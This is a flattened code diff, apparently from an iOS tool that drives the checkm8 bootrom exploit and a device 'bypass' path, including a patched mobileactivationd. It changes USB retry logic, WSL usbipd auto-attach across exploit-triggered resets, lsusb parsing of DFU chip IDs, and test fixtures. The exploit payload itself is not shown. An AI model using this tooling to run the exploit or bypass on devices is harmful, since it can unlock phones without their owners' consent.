if (usb_dfu_read_info(usb_handle, iserial, &cpid, &ecid, int have_manual_ids = opts &&
serial, sizeof(serial)) < 0) (opts->has_cpid_override || opts->has_ecid_override);
log_warn("Failed to read DFU serial info"); if (!have_manual_ids) {
if (usb_dfu_read_info(usb_handle, iserial, &cpid, &ecid,
serial, sizeof(serial)) < 0)
log_warn("Failed to read DFU serial info");
} else {
log_info("Skipping DFU serial probe because manual IDs were supplied");
}
dev->cpid = cpid; dev->cpid = cpid;
dev->ecid = ecid; dev->ecid = ecid;
dev->is_dfu_mode = 1; dev->is_dfu_mode = 1;
@ -257,7 +263,7 @@ int main(int argc, char *argv[])
log_error("Failed to initialize USB subsystem"); log_error("Failed to initialize USB subsystem");
return 1; return 1;
} }
if (detect_device(&dev) < 0) { if (detect_device(&dev, &opts) < 0) {
usb_dfu_cleanup(); usb_dfu_cleanup();
return 1; return 1;
} }

View file

@ -1,6 +1,7 @@
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
#include "util/usb_helpers.h" #include "util/usb_helpers.h"
#include "util/log.h"
/* Maximum retry attempts for transient USB errors (PIPE/STALL) */ /* Maximum retry attempts for transient USB errors (PIPE/STALL) */
#define USB_PIPE_MAX_RETRIES 3 #define USB_PIPE_MAX_RETRIES 3
@ -13,10 +14,16 @@
* represents a transient condition that may succeed on retry. * represents a transient condition that may succeed on retry.
* LIBUSB_ERROR_PIPE (-9) means the device STALLed the endpoint, * LIBUSB_ERROR_PIPE (-9) means the device STALLed the endpoint,
* which is common during DFU operations and often clears on retry. * which is common during DFU operations and often clears on retry.
*
* NOTE: LIBUSB_ERROR_TIMEOUT is intentionally NOT retried here.
* For checkm8 stage 2/3 async operations, timeouts are the intended
* abort mechanism and must return immediately (no added latency).
* For normal DFU operations (5000ms timeout), a real timeout means
* the device is unresponsive -- retrying won't help.
*/ */
static int is_transient_usb_error(int err) static int is_transient_usb_error(int err)
{ {
return (err == LIBUSB_ERROR_PIPE || err == LIBUSB_ERROR_TIMEOUT); return (err == LIBUSB_ERROR_PIPE);
} }
int usb_ctrl_transfer(libusb_device_handle *dev, int usb_ctrl_transfer(libusb_device_handle *dev,
@ -45,9 +52,8 @@ int usb_ctrl_transfer(libusb_device_handle *dev,
/* Transient error -- retry after brief delay */ /* Transient error -- retry after brief delay */
if (attempt < USB_PIPE_MAX_RETRIES - 1) { if (attempt < USB_PIPE_MAX_RETRIES - 1) {
fprintf(stderr, "[usb] transient error %s on attempt %d/%d, " log_warn("[usb] transient error %s on attempt %d/%d, retrying...",
"retrying...\n", libusb_strerror(ret), libusb_strerror(ret), attempt + 1, USB_PIPE_MAX_RETRIES);
attempt + 1, USB_PIPE_MAX_RETRIES);
usleep(USB_PIPE_RETRY_DELAY); usleep(USB_PIPE_RETRY_DELAY);
} }
} }
@ -78,9 +84,8 @@ int usb_ctrl_transfer_no_data(libusb_device_handle *dev,
return ret; return ret;
if (attempt < USB_PIPE_MAX_RETRIES - 1) { if (attempt < USB_PIPE_MAX_RETRIES - 1) {
fprintf(stderr, "[usb] transient error %s on attempt %d/%d, " log_warn("[usb] transient error %s on attempt %d/%d, retrying...",
"retrying...\n", libusb_strerror(ret), libusb_strerror(ret), attempt + 1, USB_PIPE_MAX_RETRIES);
attempt + 1, USB_PIPE_MAX_RETRIES);
usleep(USB_PIPE_RETRY_DELAY); usleep(USB_PIPE_RETRY_DELAY);
} }
} }

View file

@ -130,7 +130,25 @@ macos_prep_pkgconfig() {
} }
install_deps_linux_apt() { install_deps_linux_apt() {
local apt_pkgs="libimobiledevice-dev libirecovery-1.0-dev libusb-1.0-0-dev libplist-dev libssl-dev libcurl4-openssl-dev libssh2-1-dev pkg-config build-essential" local irecovery_pkg curl_dev_pkg apt_pkgs
if apt-cache show libirecovery-1.0-dev >/dev/null 2>&1; then
irecovery_pkg="libirecovery-1.0-dev"
elif apt-cache show libirecovery-dev >/dev/null 2>&1; then
irecovery_pkg="libirecovery-dev"
else
irecovery_pkg="libirecovery-1.0-dev"
fi
if apt-cache show libcurl4-openssl-dev >/dev/null 2>&1; then
curl_dev_pkg="libcurl4-openssl-dev"
elif apt-cache show libcurl4-gnutls-dev >/dev/null 2>&1; then
curl_dev_pkg="libcurl4-gnutls-dev"
else
curl_dev_pkg="libcurl4-openssl-dev"
fi
apt_pkgs="libimobiledevice-dev $irecovery_pkg libusb-1.0-0-dev libplist-dev libssl-dev $curl_dev_pkg libssh2-1-dev pkg-config build-essential usbutils usbmuxd"
msg_info "Installing dependencies via apt..." msg_info "Installing dependencies via apt..."
sudo apt-get update -qq sudo apt-get update -qq
sudo apt-get install -y $apt_pkgs sudo apt-get install -y $apt_pkgs
@ -317,32 +335,102 @@ check_wsl_usb_passthrough() {
fi fi
} }
start_usbipd_auto_attach() {
# On WSL, launch usbipd auto-attach in the background so the device
# is automatically re-attached after each USB reset during the exploit.
# This is critical for checkm8: the exploit intentionally resets the
# USB bus, and usbipd drops the attachment on every disconnect.
#
# Uses --hardware-id 05ac:1227 (Apple DFU VID:PID) so we don't need
# to know the bus ID. Runs via powershell.exe (Windows-side) with
# the process in a hidden window so there's no visible popup.
#
# Returns the Windows PID in USBIPD_AUTOATTACH_PID, or empty string
# on failure (non-fatal -- exploit may still succeed on first try).
USBIPD_AUTOATTACH_PID=""
if [ "$DETECTED_OS" != "wsl" ]; then
return 0
fi
if ! command -v powershell.exe >/dev/null 2>&1; then
return 0
fi
msg_info "Starting usbipd auto-attach (keeps device visible after USB resets)..."
USBIPD_AUTOATTACH_PID=$(
powershell.exe -NoProfile -Command \
'Start-Process -FilePath usbipd -ArgumentList "attach","--hardware-id","05ac:1227","--wsl","--auto-attach" -WindowStyle Hidden -PassThru | Select-Object -ExpandProperty Id' \
2>/dev/null | tr -d '\r\n'
) || USBIPD_AUTOATTACH_PID=""
if [ -n "$USBIPD_AUTOATTACH_PID" ]; then
msg_ok "usbipd auto-attach running (PID $USBIPD_AUTOATTACH_PID)."
else
msg_warn "Could not start usbipd auto-attach; exploit retries may fail if device resets."
fi
}
stop_usbipd_auto_attach() {
if [ -z "${USBIPD_AUTOATTACH_PID:-}" ]; then
return 0
fi
powershell.exe -NoProfile -Command \
"Stop-Process -Id $USBIPD_AUTOATTACH_PID -Force -ErrorAction SilentlyContinue" \
2>/dev/null || true
USBIPD_AUTOATTACH_PID=""
}
ensure_usbmuxd() {
# usbmuxd is required for idevice_id to see normal-mode devices.
# If it's not running, attempt a non-interactive start (never block
# for a sudo password -- if it fails we fall back gracefully).
if ! command -v usbmuxd >/dev/null 2>&1; then
return 0 # not installed; check_normal will fail gracefully
fi
if ! pgrep -x usbmuxd >/dev/null 2>&1; then
msg_info "usbmuxd not running, attempting to start it..."
# -n = non-interactive: fail immediately instead of prompting
sudo -n usbmuxd 2>/dev/null || usbmuxd 2>/dev/null || true
sleep 1
if pgrep -x usbmuxd >/dev/null 2>&1; then
msg_ok "usbmuxd started."
else
msg_warn "Could not start usbmuxd automatically."
msg_info "Normal-mode detection may not work. Try: sudo usbmuxd"
fi
fi
}
wait_for_device() { wait_for_device() {
local timeout=60 local timeout=60
local elapsed=0 local elapsed=0
local interval=2 local interval=2
local wsl_warned=0
msg_info "Connect your iOS device via USB cable." msg_info "Connect your iOS device via USB cable."
echo "" echo ""
# Ensure usbmuxd is running so idevice_id can see normal-mode devices.
if [ "$DETECTED_OS" = "linux" ] || [ "$DETECTED_OS" = "wsl" ]; then
ensure_usbmuxd
fi
# On WSL show the USB passthrough instructions up front so the user
# sees them immediately, rather than discovering them mid-poll.
if [ "$DETECTED_OS" = "wsl" ]; then
check_wsl_usb_passthrough
echo ""
fi
while [ $elapsed -lt $timeout ]; do while [ $elapsed -lt $timeout ]; do
if check_dfu; then if check_dfu; then
DEVICE_MODE="dfu" DEVICE_MODE="dfu"
echo ""
msg_ok "Device detected in DFU mode!" msg_ok "Device detected in DFU mode!"
return 0 return 0
fi fi
if check_normal; then if check_normal; then
DEVICE_MODE="normal" DEVICE_MODE="normal"
echo ""
msg_ok "Device detected in normal mode!" msg_ok "Device detected in normal mode!"
return 0 return 0
fi fi
if [ "$DETECTED_OS" = "wsl" ] && [ "$wsl_warned" -eq 0 ] && [ "$elapsed" -ge "$interval" ]; then
echo ""
check_wsl_usb_passthrough
echo ""
wsl_warned=1
fi
printf "\r${CYAN}[*]${RESET} Waiting for device... %ds / %ds" "$elapsed" "$timeout" printf "\r${CYAN}[*]${RESET} Waiting for device... %ds / %ds" "$elapsed" "$timeout"
sleep "$interval" sleep "$interval"
elapsed=$((elapsed + interval)) elapsed=$((elapsed + interval))
@ -359,28 +447,83 @@ wait_for_device() {
parse_device_info() { parse_device_info() {
local output local output
local dfu_serial_fallback
DEV_MODEL="" DEV_CHIP_NAME="" DEV_CPID="" DEV_ECID="" DEV_IOS=""
DEV_SERIAL="" DEV_IMEI="" DEV_CHECKM8="" DEV_DFU=""
DEV_BYPASS="(none)"
DEV_STATUS="UNSUPPORTED"
# On Linux/WSL DFU, prefer lsusb directly so the wrapper does not
# consume a libusb session before the real exploit starts.
if [ "$DEVICE_MODE" = "dfu" ] && command -v lsusb >/dev/null 2>&1; then
dfu_serial_fallback="$(
lsusb -v -d 05ac:1227 2>/dev/null |
sed -n 's/.*iSerial[[:space:]]\+[0-9]\+[[:space:]]\+//p' |
grep 'CPID:' | head -n1
)"
if [ -n "$dfu_serial_fallback" ]; then
DEV_SERIAL="$dfu_serial_fallback"
DEV_CPID="$(printf '%s\n' "$dfu_serial_fallback" | sed -n 's/.*CPID:\([0-9A-Fa-f]\+\).*/0x\1/p')"
DEV_ECID="$(printf '%s\n' "$dfu_serial_fallback" | sed -n 's/.*ECID:\([0-9A-Fa-f]\+\).*/0x\1/p')"
DEV_DFU="YES"
msg_warn "Using DFU serial info from lsusb to avoid a pre-exploit libusb probe."
fi
fi
if [ "$DEVICE_MODE" = "dfu" ] && [ -n "$DEV_CPID" ] && [ "$DEV_CPID" != "0x0000" ]; then
case "${DEV_CPID#0x}" in
8950|8955|8947|7002|8002|8960|7000|7001|8000|8003|8001|8010|8011|8012|8015)
DEV_CHECKM8="YES"
DEV_BYPASS="Path A (checkm8, A5-A11)"
DEV_STATUS="SUPPORTED"
;;
*)
DEV_CHECKM8="NO"
DEV_BYPASS="Path B (identity, A12+)"
DEV_STATUS="SUPPORTED"
;;
esac
return 0
fi
output="$("$BINARY" --detect-only 2>&1)" || true output="$("$BINARY" --detect-only 2>&1)" || true
if [ -z "$output" ]; then if [ -z "$output" ]; then
msg_err "Device query returned no output (binary may have crashed or device disconnected)." msg_err "Device query returned no output (binary may have crashed or device disconnected)."
msg_info "Ensure the device is still connected and try again." msg_info "Ensure the device is still connected and try again."
msg_info "On Linux: check that usbmuxd is running: sudo systemctl status usbmuxd" msg_info "On Linux: check that usbmuxd is running: sudo systemctl status usbmuxd"
DEV_MODEL="" DEV_CHIP_NAME="" DEV_CPID="" DEV_IOS=""
DEV_SERIAL="" DEV_IMEI="" DEV_CHECKM8="" DEV_DFU=""
DEV_BYPASS="(none)"
DEV_STATUS="UNSUPPORTED"
return 0 return 0
fi fi
DEV_MODEL="$(echo "$output" | grep "Product Type:" | sed 's/.*Product Type:[[:space:]]*//')" DEV_MODEL="$(echo "$output" | grep "Product Type:" | sed 's/.*Product Type:[[:space:]]*//')"
DEV_CHIP_NAME="$(echo "$output" | grep "Chip Name:" | sed 's/.*Chip Name:[[:space:]]*//')" DEV_CHIP_NAME="$(echo "$output" | grep "Chip Name:" | sed 's/.*Chip Name:[[:space:]]*//')"
DEV_CPID="$(echo "$output" | grep "CPID:" | sed 's/.*CPID:[[:space:]]*//')" DEV_CPID="$(echo "$output" | grep "CPID:" | sed 's/.*CPID:[[:space:]]*//')"
DEV_ECID="$(echo "$output" | grep "ECID:" | sed 's/.*ECID:[[:space:]]*//')"
DEV_IOS="$(echo "$output" | grep "iOS Version:" | sed 's/.*iOS Version:[[:space:]]*//')" DEV_IOS="$(echo "$output" | grep "iOS Version:" | sed 's/.*iOS Version:[[:space:]]*//')"
DEV_SERIAL="$(echo "$output" | grep "Serial:" | sed 's/.*Serial:[[:space:]]*//')" DEV_SERIAL="$(echo "$output" | grep "Serial:" | sed 's/.*Serial:[[:space:]]*//')"
DEV_IMEI="$(echo "$output" | grep "IMEI:" | sed 's/.*IMEI:[[:space:]]*//')" DEV_IMEI="$(echo "$output" | grep "IMEI:" | sed 's/.*IMEI:[[:space:]]*//')"
DEV_CHECKM8="$(echo "$output" | grep "checkm8 vuln:" | sed 's/.*checkm8 vuln:[[:space:]]*//')" DEV_CHECKM8="$(echo "$output" | grep "checkm8 vuln:" | sed 's/.*checkm8 vuln:[[:space:]]*//')"
DEV_DFU="$(echo "$output" | grep "DFU Mode:" | sed 's/.*DFU Mode:[[:space:]]*//')" DEV_DFU="$(echo "$output" | grep "DFU Mode:" | sed 's/.*DFU Mode:[[:space:]]*//')"
# Fallback: if libusb string descriptor reads time out, parse CPID/ECID
# from lsusb's iSerial line so the exploit can proceed with --cpid/--ecid.
if [ "$DEVICE_MODE" = "dfu" ] &&
{ [ -z "$DEV_CPID" ] || [ "$DEV_CPID" = "0x0000" ]; } &&
command -v lsusb >/dev/null 2>&1; then
dfu_serial_fallback="$(
lsusb -v -d 05ac:1227 2>/dev/null |
sed -n 's/.*iSerial[[:space:]]\+[0-9]\+[[:space:]]\+//p' |
grep 'CPID:' | head -n1
)"
if [ -n "$dfu_serial_fallback" ]; then
DEV_SERIAL="$dfu_serial_fallback"
DEV_CPID="$(printf '%s\n' "$dfu_serial_fallback" | sed -n 's/.*CPID:\([0-9A-Fa-f]\+\).*/0x\1/p')"
DEV_ECID="$(printf '%s\n' "$dfu_serial_fallback" | sed -n 's/.*ECID:\([0-9A-Fa-f]\+\).*/0x\1/p')"
msg_warn "Using DFU serial fallback from lsusb (libusb descriptor reads timed out)."
fi
fi
if [ "$DEV_CHECKM8" = "YES" ]; then if [ "$DEV_CHECKM8" = "YES" ]; then
DEV_BYPASS="Path A (checkm8, A5-A11)" DEV_BYPASS="Path A (checkm8, A5-A11)"
DEV_STATUS="SUPPORTED" DEV_STATUS="SUPPORTED"

View file

@ -139,7 +139,37 @@ main() {
exit 1 exit 1
fi fi
exec "$BINARY" "$@" # On WSL, keep usbipd auto-attaching the device so it stays visible
# after each USB reset the exploit triggers.
start_usbipd_auto_attach
# In DFU mode on some WSL/usbipd stacks, descriptor reads can intermittently
# fail even when lsusb still reports CPID/ECID. If parse_device_info()
# recovered fallback IDs, pass them explicitly unless caller already did.
local run_args=("$@")
local has_cpid=0
local has_ecid=0
local arg
for arg in "${run_args[@]}"; do
case "$arg" in
--cpid|--cpid=*) has_cpid=1 ;;
--ecid|--ecid=*) has_ecid=1 ;;
esac
done
if [ "$DEVICE_MODE" = "dfu" ]; then
if [ $has_cpid -eq 0 ] && [ -n "${DEV_CPID:-}" ] && [ "${DEV_CPID:-}" != "0x0000" ]; then
run_args+=("--cpid" "$DEV_CPID")
fi
if [ $has_ecid -eq 0 ] && [ -n "${DEV_ECID:-}" ] && [ "${DEV_ECID:-}" != "0x0" ]; then
run_args+=("--ecid" "$DEV_ECID")
fi
fi
# Run binary (not exec so we can clean up usbipd afterwards).
"$BINARY" "${run_args[@]}"
_rc=$?
stop_usbipd_auto_attach
exit $_rc
} }
main "$@" main "$@"

View file

@ -20,16 +20,17 @@
#include "device/device.h" #include "device/device.h"
#define E2E_PATH_MAX 160 #define E2E_PATH_MAX 160 /* base_dir: /tmp/tr4mpass_e2e_<pid> */
#define E2E_PATH_FULL_MAX 200 /* base_dir + longest suffix (/mobileactivationd) */
typedef struct { typedef struct {
char base_dir[E2E_PATH_MAX]; char base_dir[E2E_PATH_MAX];
char ibss[E2E_PATH_MAX]; char ibss[E2E_PATH_FULL_MAX];
char ibec[E2E_PATH_MAX]; char ibec[E2E_PATH_FULL_MAX];
char devtree[E2E_PATH_MAX]; char devtree[E2E_PATH_FULL_MAX];
char trustcache[E2E_PATH_MAX]; char trustcache[E2E_PATH_FULL_MAX];
char ramdisk[E2E_PATH_MAX]; char ramdisk[E2E_PATH_FULL_MAX];
char patched_mad[E2E_PATH_MAX]; char patched_mad[E2E_PATH_FULL_MAX];
} e2e_fixture_t; } e2e_fixture_t;
/* /*

View file

@ -139,6 +139,10 @@ void curl_easy_cleanup(CURL *handle)
free(e); free(e);
} }
/* Modern curl.h wraps these two functions in __extension__ type-checking
* macros. Undefine them so our mock function definitions are visible to
* the linker without the macro interfering. */
#undef curl_easy_setopt
CURLcode curl_easy_setopt(CURL *handle, CURLoption option, ...) CURLcode curl_easy_setopt(CURL *handle, CURLoption option, ...)
{ {
struct mock_curl_easy *e = (struct mock_curl_easy *)handle; struct mock_curl_easy *e = (struct mock_curl_easy *)handle;
@ -211,6 +215,7 @@ CURLcode curl_easy_perform(CURL *handle)
return CURLE_OK; return CURLE_OK;
} }
#undef curl_easy_getinfo
CURLcode curl_easy_getinfo(CURL *handle, CURLINFO info, ...) CURLcode curl_easy_getinfo(CURL *handle, CURLINFO info, ...)
{ {
struct mock_curl_easy *e = (struct mock_curl_easy *)handle; struct mock_curl_easy *e = (struct mock_curl_easy *)handle;

View file

@ -13,7 +13,7 @@ static void test_retry_constant(void)
static void test_reconnect_delay(void) static void test_reconnect_delay(void)
{ {
ASSERT_EQ(USB_RECONNECT_DELAY_USEC, 2000000); ASSERT_EQ(USB_RECONNECT_DELAY_USEC, 8000000);
} }
void run_constant_tests(void) void run_constant_tests(void)

View file

@ -29,9 +29,13 @@ extern int g_failures;
#define ASSERT_NEQ(a, b) ASSERT((a) != (b)) #define ASSERT_NEQ(a, b) ASSERT((a) != (b))
#define ASSERT_NULL(p) ASSERT((p) == NULL) #define ASSERT_NULL(p) ASSERT((p) == NULL)
#define ASSERT_NOTNULL(p) ASSERT((p) != NULL) #define ASSERT_NOTNULL(p) ASSERT((p) != NULL)
#define ASSERT_STREQ(a, b) ASSERT((a) && (b) && strcmp((a), (b)) == 0) /* ASSERT_STREQ / ASSERT_STRSTR: do not null-guard the second argument —
#define ASSERT_STRSTR(h, n) ASSERT((h) && (n) && strstr((h), (n)) != NULL) * it is always a string literal or stack array (always non-null), and
#define ASSERT_MEM_EQ(a, b, n) ASSERT((a) && (b) && memcmp((a), (b), (n)) == 0) * the check triggers -Waddress on GCC. Keep the first-arg guard for
* ASSERT_MEM_EQ since the first argument (heap pointer) may be NULL. */
#define ASSERT_STREQ(a, b) ASSERT(strcmp((a), (b)) == 0)
#define ASSERT_STRSTR(h, n) ASSERT(strstr((h), (n)) != NULL)
#define ASSERT_MEM_EQ(a, b, n) ASSERT((a) && memcmp((a), (b), (n)) == 0)
#define ASSERT_LT(a, b) ASSERT((a) < (b)) #define ASSERT_LT(a, b) ASSERT((a) < (b))
#define ASSERT_GT(a, b) ASSERT((a) > (b)) #define ASSERT_GT(a, b) ASSERT((a) > (b))

View file

@ -52,9 +52,10 @@ unset_ramdisk_env(void)
static int static int
write_tmp_blob(const char *path) write_tmp_blob(const char *path)
{ {
static const char payload[16] = static const unsigned char payload[16] = {
"\x00\x01\x02\x03\x04\x05\x06\x07" 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
"\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"; 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
};
FILE *f = fopen(path, "wb"); FILE *f = fopen(path, "wb");
if (!f) return -1; if (!f) return -1;
if (fwrite(payload, 1, sizeof(payload), f) != sizeof(payload)) { if (fwrite(payload, 1, sizeof(payload), f) != sizeof(payload)) {